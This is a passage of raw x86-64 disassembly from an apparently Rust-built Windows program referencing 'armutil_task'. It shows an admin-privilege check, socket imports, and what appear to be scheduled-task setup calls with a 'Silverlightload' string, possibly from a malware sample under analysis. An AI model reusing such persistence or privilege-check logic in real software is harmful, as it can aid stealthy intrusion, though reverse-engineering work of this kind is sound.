cmp dword [rbx + 0x68], 1
jne 0x140006c93
mov rax, qword [r13]
lea r14, [rsp + 0x170]
mov qword [r14], rax
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, r14
call fcn.140001f08
lea rax, [rsp + 0x680]
jmp 0x140006fc6
mov eax, 0xffffff38
add eax, dword [rbx + 0x108]
cmp ax, 0x64
jae 0x140006e37
mov r8d, 0xa0
mov rcx, rsi
mov rdx, r13
call fcn.1400def70
lea r13, [rbx + 0x318]
mov byte [rbx + 0x318], 0
lea rax, [rsp + 0x680]
mov qword [rsp + 0x60], rax
mov r14, qword [rsp + 0x80]
lea rcx, [rbx + 0x1b8]
mov r8d, 0xa0
mov qword [rsp + 0x50], rsi
mov rdx, rsi
call fcn.1400def70
lea r12, [rbx + 0x258]
movups xmm0, xmmword [rbx + 0x220]
movups xmm1, xmmword [rbx + 0x230]
movups xmmword [rbx + 0x258], xmm0
movups xmmword [rbx + 0x268], xmm1
mov rax, qword [rbx + 0x240]
mov qword [rbx + 0x278], rax
lea r15, [rbx + 0x2d0]
mov byte [rbx + 0x2d0], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x78], rax
lea rsi, [rsp + 0x170]
lea rax, [rsp + 0x410]
mov qword [rsp + 0x68], rax
mov byte [r12 + 0x79], 0
lea rax, [rbx + 0x280]
mov rcx, qword [r12 + 0x20]
mov qword [rbx + 0x2a0], rcx
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmmword [rbx + 0x290], xmm1
movups xmmword [rbx + 0x280], xmm0
lea rcx, [rbx + reloc.SHELL32.dll_IsUserAnAdmin]
mov qword [rbx + reloc.SHELL32.dll_IsUserAnAdmin], rax
mov qword [rbx + 0x2d8], rcx
lea rdx, [rbx + 0x2d8]
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov r8, qword [rsp + 0xc0]
call fcn.140002b5b
mov rax, qword [rdi]
cmp rax, 3
jne 0x140006dcf
mov byte [r15], 3
jmp 0x140008494
mov rdi, qword [rsp + 0x888]
movups xmm0, xmmword [rsp + 0x890]
movaps xmmword [rsp + 0x2c0], xmm0
mov rcx, qword [rsp + 0x8a0]
mov qword [rsp + 0x2d0], rcx
cmp eax, 1
mov qword [rsp + 0x80], r14
je 0x140006ed8
cmp eax, 2
jne 0x140007101
mov r15, rsi
xorps xmm0, xmm0
mov r13, qword [rsp + 0x68]
movups xmmword [r13], xmm0
lea rdi, [0x1401f2970]
xor eax, eax
mov qword [rsp + 0xb8], rax
jmp 0x140006eeb
lea r14, [rsp + 0x880]
mov r8d, 0xa0
mov rcx, r14
mov rdx, r13
call fcn.1400def70
movzx eax, word [r14 + 0x98]
lea rcx, [rsp + 0x680]
mov word [rcx], ax
lea rax, [rsp + 0x170]
mov qword [rax], rcx
lea rcx, [0x1401f2880]
lea rdx, [rsp + 0x2c0]
mov qword [rdx], rcx
push 1
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x10], 0
lea rbx, [fcn.140019f20]
mov qword [rax + 8], rbx
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], rcx
lea rsi, [rsp + 0x410]
mov rcx, rsi
call fcn.14000b8a0
mov cl, reloc.WS2_32.dll_recv
mov rdx, rsi
call fcn.14004e46c
mov rsi, rax
mov r15, rdx
mov rdi, rdx
shr rdi, 8
shld r15, rax, 0x38
mov rcx, r14
call fcn.1400028d7
jmp 0x140007036
mov r15, rsi
push 1
pop rax
mov qword [rsp + 0xb8], rax
mov r13, qword [rsp + 0x68]
lea r14, [0x1401aa980]
mov rsi, qword [rsp + 0x60]
mov byte [r12 + 0x79], 0
lea rcx, [rbx + 0x280]
call fcn.140002866
movups xmm0, xmmword [r13]
movups xmmword [r15], xmm0
mov bl, 1
mov rax, qword [rsp + 0x58]
mov byte [rax + 0x2d0], bl
movups xmm0, xmmword [r15]
mov rax, qword [rsp + 0x78]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
mov rcx, r12
call fcn.1400024cc
mov rax, qword [rsp + 0x58]
lea rcx, [rax + 0x1b8]
call fcn.140002686
mov rax, qword [rsp + 0x58]
lea rcx, [rax + 0x218]
call fcn.140002722
mov rax, qword [rsp + 0x58]
lea rcx, [rax + 0x248]
call fcn.140002658
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x560], xmm0
mov rax, qword [rsp + 0x58]
mov byte [rax + 0x318], bl
mov rbx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call fcn.140002425
cmp qword [rsp + 0xb8], 0
je 0x140007074
lea r14, [rsp + 0x680]
mov qword [r14], rdi
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, r14
call fcn.140001f08
lea rax, [rsp + 0x170]
mov qword [rax], rsi
lea rcx, [0x1401f2880]
lea rdx, [rsp + 0x880]
mov qword [rdx], rcx
push 1
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x10], 0
lea rbx, [0x140002a81]
mov qword [rax + 8], rbx
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], rcx
lea rdi, [rsp + 0x410]
mov rcx, rdi
call fcn.14000b8a0
mov rcx, rsi
call fcn.14000d698
mov cl, reloc.WS2_32.dll_recv
mov rdx, rdi
call fcn.14004e46c
mov rsi, rax
mov r15, rdx
mov rdi, rdx
shr rdi, 8
shld r15, rax, 0x38
mov rcx, r14
call fcn.1400025ea
mov r14, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x58]
lea rcx, [rbx + 0x60]
call fcn.140002919
mov rcx, qword [rbx + 0x58]
call fcn.1400bbb30
mov byte [r14], 1
cmp sil, 4
push 4
pop rbx
jne 0x14000724d
mov al, 1
mov cl, 3
mov rbx, qword [rsp + 0x58]
jmp 0x1400083c8
mov qword [rsp + 0x880], rdi
movaps xmm0, xmmword [rsp + 0x560]
movups xmmword [rsp + 0x888], xmm0
mov qword [rsp + 0x898], r14
mov r9, qword [rsp + 0x888]
mov rdx, qword [rbx + 0x58]
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov r8, rdi
call fcn.1400b3ae0
cmp dword [rsi], 1
jne 0x140007221
mov sil, byte [rsp + 0x2c8]
movzx eax, byte [rsp + 0x2d7]
shl eax, 0x10
movzx ecx, word [rsp + 0x2d5]
or ecx, eax
shl rcx, 0x20
mov edi, dword [rsp + 0x2d1]
or rdi, rcx
mov r15, qword [rsp + 0x2c9]
lea rcx, [rsp + 0x880]
call fcn.1400025a6
jmp 0x140007036
mov rax, qword [rsp + 0x2d0]
mov qword [rbx + 0x2c8], rax
movaps xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rbx + 0x2b8], xmm0
mov byte [r12 + 0x79], 1
mov qword [rbx + 0x2b0], rdi
lea rax, [rbx + reloc.SHELL32.dll_IsUserAnAdmin]
mov qword [rbx + 0x2d8], rax
lea r14, [rbx + 0x2d8]
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov rdx, r14
mov r8, qword [rsp + 0xc0]
call fcn.140002b5b
mov rax, qword [rdi]
cmp rax, 3
jne 0x14000717b
mov byte [r15], 4
mov rbx, qword [rsp + 0x58]
mov r14, qword [rsp + 0x80]
jmp 0x140008494
mov rdi, qword [rsp + 0x888]
movups xmm0, xmmword [rsp + 0x890]
movaps xmmword [rsp + 0x2c0], xmm0
mov rcx, qword [rsp + 0x8a0]
mov qword [rsp + 0x2d0], rcx
cmp eax, 1
je 0x140007ab6
cmp eax, 2
jne 0x140007ac3
mov r15, rsi
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rbx + 0x2b0]
movups xmm0, xmmword [rbx + 0x2b8]
movaps xmmword [rsp + 0x880], xmm0
mov r14, qword [rbx + 0x2c8]
lea rax, [0x1401f2970]
mov qword [rbx + 0x2b0], rax
xorps xmm0, xmm0
movups xmmword [rbx + 0x2b8], xmm0
lea rax, [0x1401aa980]
mov qword [rbx + 0x2c8], rax
movaps xmm0, xmmword [rsp + 0x880]
mov r13, qword [rsp + 0x68]
movups xmmword [r13], xmm0
xor eax, eax
mov qword [rsp + 0xb8], rax
jmp 0x140008518
lea rcx, [rsp + 0x880]
call fcn.1400025a6
lea rcx, [rbx + 0x60]
call fcn.140002919
mov rcx, qword [rbx + 0x58]
call fcn.1400bbb30
mov byte [rbx + 0x110], 1
mov sil, 3
push 4
pop rbx
mov rcx, qword [rsp + 0x2b0]
call fcn.1400020a1
cmp sil, 3
jne 0x140008232
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
mov qword [rsp + 0x50], rcx
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x60], rax
mov rax, qword [0x1401f3650]
xorps xmm0, xmm0
lea rdi, [rsp + 0x410]
movups xmmword [rdi + 8], xmm0
mov qword [rdi], rax
lea rcx, [0x1401f2970]
xor edx, edx
call fcn.14004a9b0
lea rcx, [rsp + 0x170]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0xd18]
mov qword [rax], rcx
lea rcx, [rsp + 0x680]
mov qword [rcx], rax
lea rax, [0x140197518]
lea rdx, [rsp + 0x880]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x10], 0
lea rax, [0x1400c948c]
mov qword [rcx + 8], rax
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], 1
lea r14, [rsp + 0x2c0]
mov rcx, r14
call fcn.14000b8a0
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
add r8, rdx
mov rcx, rdi
call fcn.14000d84e
mov rcx, r14
call fcn.14000d698
mov rdi, qword [rdi + 0x10]
cmp rdi, 2
jb 0x1400073ae
lea r8, [rdi - 1]
mov rcx, qword [rsp + 0x410]
mov dl, byte [rcx + rdi - 1]
cmp dl, 0xbf
jle 0x14000834d
movzx eax, dl
test dl, dl
jns 0x14000736d
and eax, 0x1f
cmp dl, 0xe0
jb 0x140007365
cmp dl, 0xf0
jb 0x14000736a
and eax, 7
shl eax, 0x12
jmp 0x14000736d
shl eax, 6
jmp 0x14000736d
shl eax, 0xc
cmp eax, 0x80
jae 0x140007378
push 1
jmp 0x140007381
cmp eax, 0x800
jae 0x140007384
push 2
pop rbx
jmp 0x14000738d
cmp eax, 0x10000
sbb rbx, 0
lea rax, [rbx + r8]
lea rdx, [rcx + rax]
add rcx, r8
mov r8, rdi
sub r8, rax
call fcn.1400def70
sub rdi, rbx
mov qword [rsp + 0x420], rdi
lea rbx, [rsp + 0x410]
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x690], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x680], xmm0
lea r15, [rsp + 0x170]
push 1
pop rdx
mov rcx, r15
call fcn.14000d0c1
mov rdi, qword [r15]
mov rsi, qword [r15 + 0x10]
push 2
pop rdx
mov rcx, rbx
call fcn.14000d0c1
mov r13, qword [rbx]
mov r12, qword [rbx + 0x10]
mov rax, qword [rsp + 0x690]
mov qword [rsp + 0x2d0], rax
movaps xmm0, xmmword [rsp + 0x680]
movaps xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea rdx, str.Silverlightload_task_err_n
lea r9, [0x1401f2970]
lea r14, [rsp + 0x880]
push 0xb
pop r8
mov rcx, r14
call fcn.1400bbfdc
lea rcx, [rsp + 0x928]
mov rdx, rdi
mov r8, rsi
call fcn.14004ab93
lea rdi, [rsp + 0x940]
mov rcx, rdi
mov rdx, r13
mov r8, r12
mov r12, r14
call fcn.14004ab93
mov rcx, rbx
call fcn.14000d698
mov rcx, r15
call fcn.14000d698
mov rcx, r14
call fcn.1400bc07b
test eax, eax
je 0x140007530
lea rax, str.4e_
lea rsi, [rsp + 0x2c0]
mov qword [rsi], rax
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
lea r13, [0x1401f2970]
mov qword [rsi + 0x20], r13
and qword [rsi + 0x28], 0
lea rbx, [rsp + 0x410]
mov rcx, rbx
mov rdx, rsi
call fcn.14000b8a0
mov rcx, rbx
call fcn.1400bbf77
mov rax, qword [rbx + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsi], xmm0
lea r8, [rsp + 0x2c0]
mov cl, 1
mov edx, 0x167
call fcn.1400d90a0
lea rcx, [rsp + 0x170]
mov qword [rcx + 8], rdx
mov qword [rcx], rax
call fcn.1400bbf8a
mov rbx, qword [rsp + 0x58]
jmp 0x140007771
lea r14, [0x1401f2970]
lea rsi, [rsp + 0x820]
and qword [rsi], 0
and qword [rsp + 0xd18], 0
and qword [rsp + 0x680], 0
mov rcx, qword [rsp + 0x900]
lea rdx, str.D:coding_rust_armutil_task_srclib.rsResult__System
call fcn.14003e6a2
mov rbx, qword [rax]
mov rcx, rax
mov rdx, rsi
call qword [rbx + 0x48]
mov ecx, eax
call fcn.1400bbeb5
test al, al
je 0x1400075e8
lea rax, [0x1401b77b8]
lea rsi, [rsp + 0x2c0]
mov qword [rsi], rax
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
mov r13, r14
mov qword [rsi + 0x20], r14
and qword [rsi + 0x28], 0
lea rbx, [rsp + 0x410]
mov rcx, rbx
mov rdx, rsi
call fcn.14000b8a0
mov rcx, rbx
call fcn.1400bbf77
mov rax, qword [rbx + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsi], xmm0
lea r8, [rsp + 0x2c0]
mov cl, 1
mov edx, 0x173
jmp 0x140007739
mov rcx, qword [rsp + 0x820]
lea rdx, str.D:coding_rust_armutil_task_srclib.rsResult__System
call fcn.14003e6a2
mov rbx, qword [rax]
push 1
pop rdx
lea r8, [rsp + 0xd18]
mov rcx, rax
call qword [rbx + 0x50]
mov ecx, eax
call fcn.1400bbeb5
test al, al
mov r13, r14
je 0x140007683
lea rax, [0x1401b77e0]
lea rsi, [rsp + 0x2c0]
mov qword [rsi], rax
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
mov qword [rsi + 0x20], r13
and qword [rsi + 0x28], 0
lea rbx, [rsp + 0x410]
mov rcx, rbx
mov rdx, rsi
call fcn.14000b8a0
mov rcx, rbx
call fcn.1400bbf77
mov rax, qword [rbx + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsi], xmm0
lea r8, [rsp + 0x2c0]
mov cl, 1
mov edx, 0x17a
jmp 0x140007739
mov rcx, qword [rsp + 0xd18]
lea rdx, str.D:coding_rust_armutil_task_srclib.rsResult__System
call fcn.14003e6a2
movabs rcx, 0x60030bbc585299f
lea rdx, [rsp + 0x2c0]
mov qword [rdx + 8], rcx
movabs rcx, 0x4276eba7b45747e0
mov qword [rdx], rcx
mov rbx, qword [rax]
lea r8, [rsp + 0x680]
mov rcx, rax
call qword [rbx]
mov ecx, eax
call fcn.1400bbeb5
test al, al
je 0x14000795a
lea rax, [0x1401b7808]
lea rsi, [rsp + 0x2c0]
mov qword [rsi], rax
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
mov qword [rsi + 0x20], r13
and qword [rsi + 0x28], 0
lea rbx, [rsp + 0x410]
mov rcx, rbx
mov rdx, rsi
call fcn.14000b8a0
mov rcx, rbx
call fcn.1400bbf77
mov rax, qword [rbx + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsi], xmm0
lea r8, [rsp + 0x2c0]
mov cl, 1
mov edx, 0x181
call fcn.1400d90a0
lea rcx, [rsp + 0x170]
mov qword [rcx + 8], rdx
mov qword [rcx], rax
call fcn.1400bbf8a
call fcn.1400d2f30
mov rbx, qword [rsp + 0x58]
test eax, eax
jne 0x140007771
lea rcx, [rsp + 0x880]
call fcn.1400bd4f8
test eax, eax
je 0x14000779e
lea rax, [0x1400eed78]
lea rcx, [rsp + 0x2c0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
and qword [rcx + 0x10], 0
mov qword [rcx + 0x20], r13
and qword [rcx + 0x28], 0
call fcn.1400b6c00
mov ecx, 0x1388
call sub.KERNEL32.dll_Sleep
cmp qword [rsp + 0x918], 0
je 0x14000787a
mov rcx, qword [rsp + 0x908]
lea rdx, str.D:coding_rust_armutil_task_srclib.rsResult__System
call fcn.14003e6a2
mov rsi, rax
cmp qword [rsp + 0x890], 0
je 0x140007881
lea r14, [rsp + 0x170]
mov qword [r14], r12
lea rax, [rsp + 0x560]
mov qword [rax], r15
lea rcx, [0x1401b7840]
mov r12, rdi
lea rdi, [rsp + 0x2c0]
mov qword [rdi], rcx
mov qword [rdi + 8], 2
and qword [rdi + 0x10], 0
lea rcx, [0x1400ca7b6]
mov qword [rax + 8], rcx
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x28], 1
lea rbx, [rsp + 0x410]
mov rcx, rbx
mov rdx, rdi
call fcn.14000b8a0
mov rax, qword [rbx]
mov rcx, qword [rbx + 0x10]
add rcx, rax
mov qword [rdi], rax
mov qword [rdi + 8], rcx
and word [rdi + 0x10], 0
mov rdi, r12
lea rdx, [rsp + 0x2c0]
mov rcx, r14
call fcn.1400bc80a
mov rcx, rbx
mov rbx, qword [rsp + 0x58]
call fcn.14000d698
mov rdx, qword [r14]
jmp 0x14000789b
call fcn.1400d2f30
jmp 0x1400078b4
mov rdx, qword [reloc.WS2_32.dll_bind]
mov qword [rsp + 0x170], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
mov rax, qword [rsi]
mov rcx, rsi
xor r8d, r8d
call qword [rax + 0x78]
lea rcx, [rsp + 0x170]
call fcn.1400d9c4e
lea rsi, [rsp + 0x880]
mov rcx, rsi
call fcn.1400bd5f1
mov rcx, rsi
call fcn.14000d698
lea rcx, [rsp + 0x898]
call fcn.14000d698
lea rcx, [rsp + 0x8b0]
call fcn.14000d698
lea rcx, [rsp + 0x8c8]
call fcn.14000d698
lea rsi, [rsp + 0x8e0]
mov rcx, rsi
call fcn.14000d698
lea rcx, [rsp + 0x928]
call fcn.14000d698
mov rcx, rdi
call fcn.14000d698
movups xmm0, xmmword [rbx + 0x18]
movups xmm1, xmmword [rbx + 0x28]
movaps xmmword [rsi - 0x50], xmm1
movaps xmmword [rsi - 0x60], xmm0
lea rcx, [rsp + 0x880]
call fcn.1400c19e3
lea rcx, [rsp + 0x2c0]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400023ef
mov rcx, rbx
call fcn.14000d698
mov cl, 1
xor eax, eax
jmp 0x1400083c8
lea r13, [rsp + 0x928]
mov r12, qword [rsp + 0x680]
test r12, r12
je 0x14000839e
lea rax, [0x1401b7830]
lea rbx, [rsp + 0x170]
mov qword [rbx], rax
lea r15, [0x1401b7840]
lea rsi, [rsp + 0x2c0]
mov qword [rsi], r15
mov qword [rsi + 8], 2
and qword [rsi + 0x10], 0
lea rax, [0x14000c3ff]
mov qword [rbx + 8], rax
lea rax, [rsp + 0x170]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 1
lea rdi, [rsp + 0x410]
mov rcx, rdi
mov rdx, rsi
call fcn.14000b8a0
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
add rcx, rax
mov qword [rsi], rax
mov qword [rsi + 8], rcx
and word [rsi + 0x10], 0
lea rdx, [rsp + 0x2c0]
mov rcx, rbx
call fcn.1400bc80a
mov rcx, rdi
call fcn.14000d698
mov rdx, qword [rbx]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x48]
mov rcx, rbx
call fcn.1400d9c4e
cmp qword [rsp + 0x938], 0
je 0x140007bb3
lea rax, [rsp + 0xf0]
mov qword [rax], rbx
lea rcx, [0x1400ca7b6]
mov qword [rax + 8], rcx
lea rsi, [rsp + 0x2c0]
mov qword [rsi], r15
mov qword [rsi + 8], 2
and qword [rsi + 0x10], 0
lea rdi, [rsp + 0x170]
mov qword [rdi], r13
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 1
lea rbx, [rsp + 0x410]
mov rcx, rbx
mov rdx, rsi
call fcn.14000b8a0
mov rax, qword [rbx]
mov rcx, qword [rbx + 0x10]
add rcx, rax
mov qword [rsi], rax
mov qword [rsi + 8], rcx
and word [rsi + 0x10], 0
lea rdx, [rsp + 0x2c0]
mov rcx, rdi
call fcn.1400bc80a
mov rcx, rbx
call fcn.14000d698
mov rdx, qword [rdi]
jmp 0x140007bcd
mov r15, rsi
mov rbx, qword [rsp + 0x58]
jmp 0x140008513
mov rax, qword [rsp + 0x2d0]
mov rbx, qword [rsp + 0x58]
mov qword [rbx + 0x2f0], rax
movaps xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rbx + 0x2e0], xmm0
mov qword [rbx + 0x2d8], rdi
mov rdi, qword [rbx + 0x2e0]
add rdi, qword [rbx + 0x2b8]
mov rdx, qword [rbx + reloc.SHELL32.dll_IsUserAnAdmin]
lea rcx, [rsp + 0x880]
call fcn.140067503
lea rax, [rsp + 0x880]
add rdi, qword [rax]
lea rax, [rbx + 0x2f8]
mov qword [rsp + 0x70], rax
mov rcx, rdi
xor edx, edx
call fcn.14000db4d
mov qword [rbx + 0x2f8], rax
mov qword [rbx + 0x300], rdx
and qword [rbx + 0x308], 0
mov byte [r12 + 0x79], 0
movups xmm0, xmmword [rbx + 0x2b0]
movups xmm1, xmmword [rbx + 0x2c0]
lea rax, [rsp + 0x880]
movaps xmmword [rax + 0x10], xmm1
movaps xmmword [rax], xmm0
lea rdx, [rsp + 0x880]
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140002aa1
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
lea rax, [rsp + 0x880]
movaps xmmword [rax + 0x10], xmm1
movaps xmmword [rax], xmm0
lea rdx, [rsp + 0x880]
mov rcx, rdi
call fcn.140002aa1
mov r14, qword [rsp + 0x80]
jmp 0x1400083f0
mov rdx, qword [reloc.WS2_32.dll_bind]
mov qword [rsp + 0x170], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x78]
mov ecx, eax
call fcn.1400bbeb5
mov ebx, eax
lea rsi, [rsp + 0x170]
mov rcx, rsi
call fcn.1400d9c4e
test bl, bl
je 0x140007c83
lea rax, [0x1401b7860]
lea rsi, [rsp + 0x2c0]
mov qword [rsi], rax
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
mov qword [rsi + 0x20], r14
and qword [rsi + 0x28], 0
lea rdi, [rsp + 0x410]
mov rcx, rdi
mov rdx, rsi
call fcn.14000b8a0
mov rcx, rdi
call fcn.1400bbf77
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea r8, [rsp + 0x2c0]
mov cl, 1
mov edx, 0x18a
call fcn.1400d90a0
lea rcx, [rsp + 0x170]
mov qword [rcx + 8], rdx
mov qword [rcx], rax
call fcn.1400bbf8a
call fcn.1400d2f30
mov rbx, qword [rsp + 0x58]
mov r13, r14
jmp 0x140007df0
cmp qword [rsp + 0x950], 0
lea rax, [rsp + 0x940]
je 0x140007d25
lea rbx, [rsp + 0x170]
mov qword [rbx], rax
lea rax, [rsp + 0x560]
mov qword [rax], rsi
lea rsi, [rsp + 0x2c0]
mov qword [rsi], r15
mov qword [rsi + 8], 2
and qword [rsi + 0x10], 0
lea rcx, [0x1400ca7b6]
mov qword [rax + 8], rcx
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 1
lea rdi, [rsp + 0x410]
mov rcx, rdi
mov rdx, rsi
call fcn.14000b8a0
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
add rcx, rax
mov qword [rsi], rax
mov qword [rsi + 8], rcx
and word [rsi + 0x10], 0
lea rdx, [rsp + 0x2c0]
mov rcx, rbx
call fcn.1400bc80a
mov rcx, rdi
call fcn.14000d698
mov rdx, qword [rbx]
jmp 0x140007d3f
mov rdx, qword [reloc.WS2_32.dll_bind]
mov qword [rsp + 0x170], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x88]
mov ecx, eax
call fcn.1400bbeb5
mov ebx, eax
lea rcx, [rsp + 0x170]
call fcn.1400d9c4e
test bl, bl
je 0x140007e0d
lea rax, [0x1401b7870]
lea rsi, [rsp + 0x2c0]
mov qword [rsi], rax
mov qword [rsi + 8], 1
and qword [rsi + 0x10], 0
mov r13, r14
mov qword [rsi + 0x20], r14
and qword [rsi + 0x28], 0
lea rdi, [rsp + 0x410]
mov rcx, rdi
mov rdx, rsi
call fcn.14000b8a0
mov rcx, rdi
call fcn.1400bbf77
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea r8, [rsp + 0x2c0]
mov cl, 1
mov edx, 0x18f
call fcn.1400d90a0
lea rcx, [rsp + 0x170]
mov qword [rcx + 8], rdx
mov qword [rcx], rax
call fcn.1400bbf8a
call fcn.1400d2f30
mov rbx, qword [rsp + 0x58]
lea rdi, [rsp + 0x940]
lea r15, [rsp + 0x170]
lea r12, [rsp + 0x880]
jmp 0x14000775c
lea rcx, [rsp + 0x880]
call fcn.1400bc905
mov ecx, eax
xor eax, eax
test ecx, ecx
setne al
mov rbx, qword [rsp + 0x58]
lea rdi, [rsp + 0x940]
lea r15, [rsp + 0x170]
lea r12, [rsp + 0x880]
mov r13, r14
jmp 0x14000775c
mov rcx, rax
shrd rcx, rdx, 8
shr rdx, 8
mov ebx, eax
mov edi, r13d
mov r15b, byte [rsp + 0x48]
mov r13, qword [rsp + 0x90]
movzx r12d, word [rsp + 0x4c]
mov r14b, byte [rsp + 0x4b]
shld rdx, rcx, 8
shl rcx, 8
movzx eax, bl
or rax, rcx
lea rcx, [rsp + 0x170]
mov qword [rcx + 8], rdx
mov qword [rcx], rax
call fcn.14008cf3f
mov bl, byte [rsp + 0x49]
lea rsi, [rsp + 0x880]
lea rdx, [rsp + 0x2c0]
mov r8d, 0x120
mov rcx, rsi
call fcn.1400def70
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x650], rax
movups xmm0, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x640], xmm0
movups xmm0, xmmword [0x1401b4008]
movaps xmmword [rsp + 0x5e0], xmm0
movups xmm1, xmmword [0x1401b4018]
movaps xmmword [rsp + 0x5f0], xmm1
and qword [rsp + 0x290], 0
mov rax, qword [0x1401b4028]
mov qword [rsp + 0x600], rax
cmp qword [rsi + 8], 0
je 0x140007f55
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x2c0]
mov r8d, 0x120
call fcn.1400def70
lea rcx, [rsp + 0x640]
call fcn.14000d698
lea rcx, [rsp + 0x5e0]
call fcn.14001b8bc
mov rsi, qword [rsp + 0xa8]
jmp 0x14000812f
mov ebx, edi
mov qword [rsp + 0x840], rax
movaps xmmword [rsp + 0x830], xmm1
movaps xmmword [rsp + 0x820], xmm0
mov rax, qword [rsp + 0x540]
lea rdx, [rsp + 0xf0]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rsp + 0x530]
movaps xmmword [rdx], xmm0
lea rsi, [rsp + 0x170]
mov rcx, rsi
call fcn.14000da12
lea rdi, [rsp + 0x560]
mov rcx, rdi
mov rdx, rsi
call fcn.14003bcc1
cmp byte [rdi + 0x20], 2
jne 0x140008027
push 2
pop rcx
push 1
pop rdx
call fcn.140035b9b
mov rdi, rax
mov byte [rax], 5
push 0x70
pop rcx
push 8
pop rdx
call fcn.140035b9b
mov rsi, rax
mov qword [rax], rdi
lea rax, [0x1401b34e8]
mov qword [rsi + 8], rax
mov dword [rsi + 0x50], 2
and word [rsi + 0x68], 0
lea rcx, [rsp + 0x290]
call fcn.1400a143f
lea rcx, [rsp + 0x820]
call fcn.14001b8bc
lea rcx, [rsp + 0x890]
cmp qword [rcx - 8], 0
je 0x1400080ad
call fcn.14005242c
jmp 0x1400080d9
lea rcx, [rsp + 0x900]
mov rax, qword [rsp + 0x840]
lea rdx, [rsp + 0xf0]
mov qword [rdx + 0x20], rax
movaps xmm0, xmmword [rsp + 0x820]
movaps xmm1, xmmword [rsp + 0x830]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
movups xmm0, xmmword [rsp + 0x560]
movups xmm1, xmmword [rsp + 0x570]
lea r8, [rsp + 0x170]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov byte [r8 + 0x20], 1
mov eax, dword [rsp + 0x581]
mov dword [r8 + 0x21], eax
mov eax, dword [rsp + 0x584]
mov dword [r8 + 0x24], eax
call fcn.14001e964
movzx r12d, word [rsp + 0x4c]
mov rsi, qword [rsp + 0xa8]
mov edi, ebx
jmp 0x140008110
call fcn.140050fcb
lea rcx, [rsp + 0x8a8]
call fcn.14000d698
lea rcx, [rsp + 0x900]
call fcn.140050fda
lea rcx, [rsp + 0x960]
call fcn.140056d8a
movzx r12d, word [rsp + 0x4c]
mov edi, ebx
lea rcx, [rsp + 0x898]
mov qword [rcx - 0x10], 1
mov qword [rcx - 8], rsi
lea rdx, [rsp + 0x170]
mov r8d, 0x108
call fcn.1400def70
mov rsi, qword [rsp + 0xa8]
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x880]
mov r8d, 0x120
call fcn.1400def70
mov bl, byte [rsp + 0x49]
lea rcx, [rsp + 0x158]
call fcn.14000d698
jmp 0x1400047d3
lea rdi, [rsp + 0x790]
add rax, 8
mov rcx, rdi
